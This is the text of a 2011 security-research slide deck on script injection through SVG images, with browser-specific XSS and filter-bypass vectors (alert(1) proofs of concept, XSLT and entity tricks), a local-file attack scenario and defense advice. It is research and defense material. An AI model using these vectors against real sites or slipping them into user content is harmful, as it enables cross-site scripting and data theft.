The Image that called me - Active Content Injection with SVG Files

The Image that called me
Active Content Injection with SVG Files

A presentation by Mario Heiderich, 2011

Introduction
● Mario Heiderich
● Researcher and PhD student at the Ruhr-
University, Bochum
● Security Researcher for Microsoft, Redmond
● Security Consultant for XING AG, Hamburg
● Published author and international speaker
● HTML5 Security Cheatsheet / H5SC
● PHPIDS Project

Today
● SVGs and the modern web
● What are SVGs?
● What are they capable of?
● Which browsers “understand” SVG?
● Why there are conflicted areas?

● And what does that have to do with
security?

SVG Images
● Scalable Vector Graphics
● XML based, therefore
● Versatile
● Accessible
● Compressible
● “Stylable” w. CSS
● Open
● Great for mobile devices
● Easy to parse and process
● Ancient format, older than 10 years
● Relations to HTML5, the living standard

SVG History
● Proposed by several W3C members in 1998
● Derived from Adobe Postscript and VML
● Developed in 1999
● Currently at version 1.1
● Version 1.2 still a working draft
● Might be overtaken by SVG 2.0
● Good browser support
● Gecko, Webkit, Presto, and Trident

Basic Example

<svg xmlns=“http://www.w3.org/2000/svg“>
<circle r=“40“ fill=“red“></circle>
</svg>

SVG Family
● SVG Tiny 1.2
● Designed for cellphones and smart-phones
● 47 Tags
● SVG Basic 1.1
● Designed for handhelds, tablets and net-books
● 71 tags
● SVG Full 1.1
● Full feature set
● 81 tags

Features
● Geometrical shapes
● Circles, ellipses, squares, lines and more
● SVG fonts
● Font specific formatting and glyph styles
● Links
● Animations and Transformations
● Gradients and Effects
● Meta-data
● Scripting and Events
● Inclusion of arbitrary objects

Scripting
● The following SVG executes JavaScript

<svg xmlns=“http://www.w3.org/2000/svg“>
<script>
alert(1)
</script>
</svg>

● More examples?

More Scripting
<svg xmlns="http://www.w3.org/2000/svg">
<g onload="javascript:alert(1)"></g>
</svg>

<animation xlink:href="javascript:alert(1)"/>
</svg>

<foreignObject xlink:href="javascript:alert(1)"/>
</svg>

<set attributeName="onmouseover" to="alert(1)"/>
</svg>

<handler
xmlns:ev="http://www.w3.org/2001/xmlevents"
ev:event="load"
>alert(1)</handler>
</svg>

Deploying SVGs
● Several ways of deploying SVGs,
implemented by modern browsers
● Five important ones are:
● Opening the file directly
● Deployment via <object> or <embed>
● Deployment via <img> or <image>
● Deployment via CSS background/list-
style/content/cursor
● In-line SVG

Security Boundaries
● SVG capabilities based on deployment
method
● A model, based on expectations
● Heterogeneous implementations

● And a whole new world of bugs and
vulnerabilities

XSS
● SVGs deployed via <img> and <image> tag should
not execute JavaScript
● Same goes for SVGs used via CSS
● Or SVG fonts

● SVGs deployed via <iframe>, <embed> or <object>
should, though
● So browsers need different approaches

● Learning by fixing?

Local SVGs
● SVGs opened directly are allowed to script
● Imagine the following attack:
● Attacker uploads an image with an exciting motive to a server
● Victim navigates to the image, likes it, saves it locally, downloads
folder or desktop
● Victim wants to watch the image again and double-clicks it
● Image is an SVG and executes JavaScript locally
● Attacker can read local files (same directory, sub-folders)
● Attacker can even load and start Java applets or worse
● Very likely too be used in real life attacks!
● Porn sites, Email attachments, Malware

In-line SVG
● Suggested by the HTML5 specs
● Working on all modern browsers
● Opera 11 recently joined in
● No strict XML parser anymore
● <svg><circle r=40 fill=red></svg>
● See – no quotes, no trailing slash
● Reduced feature set
● <svg> introduces many new XSS vectors
● XSS filter bypasses

Scoping
● SVG images are treated by browsers similarly to XML
● Same is for in-line SVG blocks
● XML treats plain-text tags differently
● Entities and canonical character representations are treated equally
● 0-Day filter bypasses ahead
● This enables a new attack technique on Firefox and other browsers

● DEMO

● And it's even worse
● In-line SVG “self-terminates” open HTML elements

Opera
● A long history of SVG flaws
● JavaScript execution via SVG fonts
● XSS via CSS background images
● SVG containing XHTML renders HTML via <img>

● Today SVGs deployed via CSS/<img> cannot script
anymore
● But - not all kinds of attacks need scripting to succeed

● DEMO

Firefox
● SVG/HTML Chameleon
<?xml version="1.0"?>
<?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE doc [
<!ATTLIST xsl:stylesheet
id ID #REQUIRED>
]>
<xsl:stylesheet id="stylesheet" version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<iframe
xmlns="http://www.w3.org/1999/xhtml"
src="javascript:alert(1)">
</iframe>
</xsl:template>
</xsl:stylesheet>
<circle fill="red" r="40"></circle>
</svg>

Opera
● Using entities to execute JavaScript
● innerHTML copy/decompile bug
<a href="#">CLICKME 1</a>

<svg style=display:none><style>

&ast;{
-
o&#45fabbalink&colon;'javascript&colon;alert(1
)'&semi; -o&#45fabbalink-source&colon;current
<span/>

<a href="#">CLICKME 2</a>

More Opera
● SVG via favicon

Chromium
● Incredible parser tolerance
● 1<svg <g onload=alert(1) </p>

Firefox
● Enabling XSS via entity decoding
● Entities in <style> tags create new
elements
● Even broken ones, half-broken to be
honest
● Bug #650001

<svg>
<style>&ltimg/src=x onerror=alert(1)//

Other Browsers
● Firefox 4 crashed badly on SVGs embedding JS
● Chrome produces weird things when using
<foreignObject> and <iframe>
● Opera deploys Java applets via SVG fonts
● And what about other XML related attack patterns?
● External entities
● SVG Tiny 1.2 Java Events
● Entity bombs
● Etc. etc.
● Some browsers support SVG Masks, perfect for click-
jacking
● SVG and XBL? You tell me!

Wrap-Up
● SVGs are not just images but mini-applications
● <img> tags can now deploy Java, PDF and Flash – and call you
on Skype
● In-line SVG creates small XML islands enabling XML attacks on
HTML websites
● SVG and XSLT work too, enabling DoS and other attacks
● Web-security and XML security, they meet again!
● And XXE is back – remember 2002's advisories?

● SVG is not getting enough attention in the security
community
● SVG provides a lot of room for more security research

Defense
● More difficult than one might assume
● No existing filter libs
● No good documentation
● XSS vectors are hard to comprehend
● New vectors coming up weekly

● SVG files should not be perceived as images
● Allowing SVG for upload == allowing HTML for upload
● SVG can embed, link or reference any kind of content
over cross domain borders
● SVG provides new ways of payload obfuscation

Future Work
● SVG Purifier
● Based on HTMLPurifier 4.3.0
● Still very young
● Smoke-test has been published http://heideri.ch/svgpurifier
● More articles on the HTML5 Sec Cheatsheet Wiki
● Publications, to raise awareness
● Crouching Tiger – Hidden Payload, submission CCS 2011
● More demo vectors on the H5SC to demonstrate impact

● OWASP research and documentation?

Links
● Wikipedia on SVG http://en.wikipedia.org/wiki/Scalable_Vector_Graphics
● W3C SVG Working Group http://www.w3.org/Graphics/SVG/
● SVG Full 1.1 (W3C) http://www.w3.org/TR/SVG11/
● SVG Basic 1.1 and SVG Tiny 1.2 http://www.w3.org/TR/SVGMobile/
● SVG 2.0 http://dev.w3.org/SVG/profiles/2.0/publish/intro.html
● Adobe's SVG Zone (for archaeologists) http://www.adobe.com/svg/
● H5SC http://html5sec.org/
● XSLT and SVG http://scarybeastsecurity.blogspot.com/20...riousity.html
● Opera SVG Bug http://heideri.ch/opera/
● HTMLPurifier http://htmlpurifier.org/
● JSBin http://jsbin.com/
● SVGPurifier Smoke-Test http://heideri.ch/svgpurifier
● More SVG fun http://maliciousmarkup.blogspot.com/20...re-xml-fun.html

Thanks
● Thanks for listening!
● Questions or Comments?
● Discussion and tool preview?

● Thanks to
● Gareth Heyes and Manuel Caballero from UNH
● Alexey Silin / LeverOne
● Erik of Opera
● Dave Ross of Microsoft

The Image that called me - Active Content Injection with SVG Files

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